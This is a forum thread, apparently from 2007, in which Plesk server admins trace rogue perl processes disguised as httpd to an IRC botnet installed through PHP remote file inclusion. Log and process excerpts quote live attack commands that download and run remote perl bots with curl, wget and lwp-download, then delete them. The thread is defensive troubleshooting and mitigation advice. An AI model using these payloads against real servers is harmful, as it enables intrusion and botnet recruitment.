Rogue perl process

[realgeeky]

Hi,

I've noticed something very strange going on with my centOS 5 Plesk 8.2 server. When looking at top, I notice perl processes using very high CPU resources.

1892 apache 25 0 6484 4292 1328 R 100 0.1 58:36.31 perl
1900 apache 25 0 6488 4264 1320 R 100 0.1 61:10.12 perl
1907 apache 25 0 6488 4264 1320 R 98 0.1 62:11.89 perl

But when doing a ps on one of those processes I see:
[root@plesk1 etc]# ps aux | grep 1892
apache 1892 86.5 0.1 6484 4292 ? R 05:57 59:26 /usr/local/apache2/bin/httpd -k start

My server does not have a /usr/local/apache2 directory. If I attach to the process with strace I see:

select(8, [3], NULL, NULL, {0, 0}) = 0 (Timeout)
select(8, [3], NULL, NULL, {0, 0}) = 0 (Timeout)
select(8, [3], NULL, NULL, {0, 0}) = 0 (Timeout)
select(8, [3], NULL, NULL, {0, 0}) = 0 (Timeout)

over and over again.

This is obviously not right. Has anyone experienced this before or know where how I can further track this down?

Thanks.
-Derek

 

[tha_sun]

Same issue here. Plenty of perl processes (approx. 26) are heavily consuming the server's CPU and memory:

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
13937 wwwrun    15   0 17268 5748  684 S 11.6  0.3   0:50.41 /usr/local/apache2/bin/httpd -k start
13935 wwwrun    15   0 17268 5748  684 S 10.6  0.3   0:44.59 /usr/local/apache2/bin/httpd -k start
13997 wwwrun    15   0 17268 5748  684 S 10.6  0.3   0:38.94 /usr/local/apache2/bin/httpd -k start
14131 wwwrun    15   0 17268 5748  684 S 10.6  0.3   0:37.14 /usr/local/apache2/bin/httpd -k start
13999 wwwrun    15   0 17268 5748  684 S 10.1  0.3   0:38.82 /usr/local/apache2/bin/httpd -k start
14423 wwwrun    15   0 17268 5748  684 S 10.1  0.3   0:02.75 /usr/local/apache2/bin/httpd -k start
13939 wwwrun    15   0 17268 5748  684 S  9.6  0.3   0:51.31 /usr/local/apache2/bin/httpd -k start
13993 wwwrun    15   0 17268 5748  684 S  9.6  0.3   0:39.48 /usr/local/apache2/bin/httpd -k start
14255 wwwrun    15   0 17268 5752  684 S  9.6  0.3   0:23.17 /usr/local/apache2/bin/httpd -k start
14433 wwwrun    15   0 17268 5748  684 S  9.6  0.3   0:01.53 /usr/local/apache2/bin/httpd -k start
14436 wwwrun    15   0 17268 5748  684 S  9.6  0.3   0:00.89 /usr/local/apache2/bin/httpd -k start
13991 wwwrun    15   0 17268 5748  684 S  9.1  0.3   0:40.12 /usr/local/apache2/bin/httpd -k start
14137 wwwrun    15   0 17268 5748  684 S  9.1  0.3   0:37.44 /usr/local/apache2/bin/httpd -k start
14259 wwwrun    15   0 17268 5752  684 S  9.1  0.3   0:23.30 /usr/local/apache2/bin/httpd -k start
13931 wwwrun    15   0 17268 5748  684 R  8.6  0.3   0:50.32 /usr/local/apache2/bin/httpd -k start
13933 wwwrun    15   0 17268 5748  684 R  8.1  0.3   0:50.75 /usr/local/apache2/bin/httpd -k start
14133 wwwrun    15   0 17268 5748  684 S  8.1  0.3   0:36.59 /usr/local/apache2/bin/httpd -k start
14135 wwwrun    16   0 17268 5748  684 R  8.1  0.3   0:37.10 /usr/local/apache2/bin/httpd -k start
14257 wwwrun    15   0 17268 5752  684 S  8.1  0.3   0:22.81 /usr/local/apache2/bin/httpd -k start
14261 wwwrun    16   0 17268 5752  684 R  7.1  0.3   0:23.57 /usr/local/apache2/bin/httpd -k start
14421 wwwrun    15   0 17268 5748  684 S  6.6  0.3   0:02.73 /usr/local/apache2/bin/httpd -k start
14419 wwwrun    15   0 17268 5748  684 R  6.1  0.3   0:03.11 /usr/local/apache2/bin/httpd -k start
13995 wwwrun    17   0 17268 5748  684 R  1.0  0.3   0:38.90 /usr/local/apache2/bin/httpd -k start

Some noteworthy facts:

• /usr/local/apache2/bin/httpd does *not* exist at all
• Those processes seem to get invoked each time the psa service is down (f.e. we're running a custom, scheduled backup every day)
• The longer the psa service is down, the more of those processes are running
• Plesk version is 8.1.1, so it doesn't seem to be 8.2.x related
• OS is Linux 9.3, so it doesn't seem to be a platform-specific bug

Next step on my action list is to double-check all crontabs to ensure that Plesk does not try to run any job while all services are not available.

 

[realgeeky]

My problem was that one of my customers was running a really old version of phpBB. It allowed for some script kiddies to be able to send a crafted url and phpBB to pick up libraries offsite.

At this point, the box was a member of a botnet.

Do you think that could be the case for you? If so, I can give you the httpd access stuff i searched for and you can track down your problem.

 

[tha_sun]

Although I'm interested in your findings, I doubt that it could be the source for these processes. I would be happy if I could identify this as the cause. However, we are heavily auditing this server for quite some time now. Since we have installed mod_security for Apache and optimized its configuration, we haven't seen successful break-in attempts anymore.

Besides of that, we are experiencing this issue every night at a similar time. We are shutting down and restarting almost all services (not only psa) after nightly backups have been performed. Those processes seem to be invoked/running at this time only. In turn, Apache fails to start after shutdown:

Mon Nov 5 09:15:45 CET 2007
Shutting down httpd2 (waiting for all children to terminate) ..done
Mon Nov 5 09:16:01 CET 2007
Starting httpd2 (prefork) (98)Address already in use: make_sock: could not bind to address 0.0.0.0:443
no listening sockets available, shutting down
Unable to open logs
..failed

 

[realgeeky]

Do you see a spike in network connectivity during this time? If so, if you want, post the output of:

netstat -pan

when you see these. Specifically the area between Active Internet Connections and Active UNIX domain sockets.

Also, what distribution are you running this on?

 

[tha_sun]

Thanks, I'll have a look at open connections and sockets and reply here, if there are any suspicious.

The affected server runs on SuSE 9.3, 2.6.16.27-061216a.

I've double-checked all crontabs in the meantime and searched in all files for the strings 'bin/httpd' and '-k start'. But I did not find anything related.

RootKit Hunter also does not throw any warnings. I still believe that these processes are invoked by Plesk or a Plesk-related service...

 

[realgeeky]

the problem is the application itself doesn't have to be called httpd in order for it to show up as such.

When the application is compiled and linked it actually allows for the application to say it's called anything it wants.

So really, there are 2 options here:

1) apache2 was compiled incorrectly (latest 8.x updates on mine shows correctly)

2) there is an application saying it's /usr/local/apache2/bin/httpd -k start

I'm guessing it's the latter, but not sure at this point.

 

[atomicturtle]

Use strace or lsof to look inside the process to see what it is doing. Id concur that the most likely scenario is that this is some kind of malicious app running on the box.

 

[tha_sun]

It seems you were right. While auditing the server during our backup time-frame, we discovered the following processes:

 5427 wwwrun    19   0  8360 1424 1120 S  0.0  0.1   0:00.00 sh -c cd /tmp;curl -O [url]http://www.santiagoonline.com.ar/bot.txt;perl[/url] bot.txt;rm -
 5428 wwwrun    15   0  9912 1728 1348 S  0.0  0.1   0:00.00 curl -O [url]http://www.santiagoonline.com.ar/bot.txt[/url]

As you can see, this script is downloading a bot, executing it and removing all own files afterwards.

The process is respawned each time I am killing it. But there are no entries in inittab.

They are now somewhat 'locked down' to the box, since we blocked any traffic from or to this IP.

However, I was not able to further track them down - neither with lsof, strace or other tools. lsof lists only valid files and strace fails to attach to the process. I have searched for the domain name and 'bot.txt' in all files in the filesystem, but got no results.

Do you have any ideas?

 

[atomicturtle]

Normally Id recommend checking out the security product we put together to address this, however we only support CentOS, Fedora and RHEL at this time. We might port it to SuSE if we can get enough people to use it.

So in your case what you need to do is find the app thats being exploited (start looking through your logs) and update it to version that is not vulnerable.

Grep for POST's, and GET's that reference wget, perl, sh, etc. Anything suspicious.

 

[tha_sun]

Thanks for replying... we already spent quite some time with analyzing the logs. However, all crafted urls were blocked by mod_security. We have also updated almost all apps and services to the latest versions.

Since we've spent plenty of hours to debug this in the meantime, I think we will re-install that server over the weekend.

So the next question for me is, if pleskbackup and pleskrestore are known to work without failures? Can we restore a Plesk backup from SuSE 9.3 on 10.1, if the version of Plesk is the same?

@atomicturtle: I've read the product description now, but I do not get the point, what your product actually is and what it does or changes. Especially, if I already have mod_security up & running, what else is your product doing? Is it a script, a Apache/PHP module, a patch, a complete AMP package or what? I really think you need to add some documentation to gain more sales... Regarding OS: Most root server providers install SuSE by default. Although most providers also allow to install another OS image, I'd bet that most root servers are running SuSE, since it's the easiest distro for novices.

 

[atomicturtle]

Its a security in depth design, if you're familiar with gotroot.com, thats us. ASL is our full suite of tools that we use to lock down a box. As of right now ASL is based on the unpublished 2.5 modsecurity ruleset, a hardened kernel, userspace IDS, iframe protections, a vulnerability scanner, and an application inventory module in addition to the plesk interface. We've also got virtualization support for xen, kvm/qemu, and lguest with openvz on the way.

 

[realgeeky]

This is exactly what happened to me. There really isn't anything you need to wipe out on the server except for the software that is being exploited. In my case it was a really old version of phpBB.

This script that it is downloading is exactly what I found as well. What it's doing is basically joining an IRC network and acting as a zombie without actually owning the server. Go through your apache logs and grep out 'santiagoonline.com'.

This should point you to the offending software, ditch it. What's happening, at least in my case (and this seems like you are experiencing everything that I have), is that they are remotely replacing your library with something online.

This is something like I saw:
access_log.processed:87.236.199.230 - - [08/Jul/2006:13:49:32 -0500] "GET /forums/modules/Forums/admin/admin_users.php?phpbb_root_path=http://br.geocities.com/shinokun666/tool25.txt?&cmd=cd%20/tmp/;lwp-download%20http://www.the-tro
nix.net/phpnuke.txt;perl%20phpnuke.txt;rm%20-rf%20phpnuke.*? HTTP/1.0" 200 934 "-" "Mozilla/5.0"

After I cleaned this up I monitored teh server, no more rogue processes, network activity or anything else. I'd be curious as to how often this is happing.

It's not necessarily anything to do with wget, curl or the likes, some terribly written software will actually load libraries remotely as show above. All they are doing is replacing $phpbb_root_path with the offending script.

 

[atomicturtle]

Yep thats called a remote include, which you can access if you allow your php scripts to do things like furl_open(). You can try disabling these and other danger functions (system, open, popen, etc) with disable_functions in php.ini. You can also do this on a per domain basis to either block or allow functions, in a vhost.conf.

 

[realgeeky]

furl_open(). [

Surly you are able to utilize this function without having it be replaceable in the url. It seems like globals are turned on for the site if that's what is happening.

I would hate to think that someone can just set any variable they want just by appending it to url params.

 

[atomicturtle]

It depends on the code, the issue is in the application where they are not properly validating the arguments passed to the variable. With a well written app, its perfectly safe to use that.

 

[realgeeky]

Ok so it isn't the use of the functionality it's the fact that it's a terribly written application.

I'd rather see companies utilize proper developers or techniques than locking out functionality. That's neither here nor there...

 

[atomicturtle]

Yep, thats the root of the problem. Code is badly written, dealing with that as an end user is tough when you cant fix it, or even if you could, the volume of fixes exceeds your capacity to respond to it.

 

[Amin Taheri]

We stopped 47 attacks a day for an entire week, perhaps two weeks ago now - just on one domain name.

With script kiddies going into several attack script variants. we had the perl bull dog, we had the php defacer, and the perl botnet all attempted.

Something like this

189.32.28.147 - - [01/Nov/2007:19:20:37 -0700] "GET /principal.php?texto_principal=http://zezin.orgfree.com/tools.txt?&cmd=cd%20/tmp;wget%20http://www.freewebs.com/ilailaila/sw;curl%20-O%20http://www.freewebs.com/ilailaila/sw%20;fetch%20http://www.freewebs.com/ilailaila/sw;GET%20>%20http://www.freewebs.com/ilailaila/sw;lynx%20-source%20http://www.freewebs.com/ilailaila/sw;perl%20sw;%20rm%20-rf%20sw* HTTP/1.1" 200 7194 "-" "Mozilla/3.0 (compatible; Indy Library)"

None of them even got off the ground becuase we have curl, wget, GET, lwp-*, lynx, etc all set to 000 permissions so they could not execute any of the commands to even get the files.

mod security did not stop any of them even though we had asl installed and running.

 

[atomicturtle]

You sure that wasn't PEBKAC problem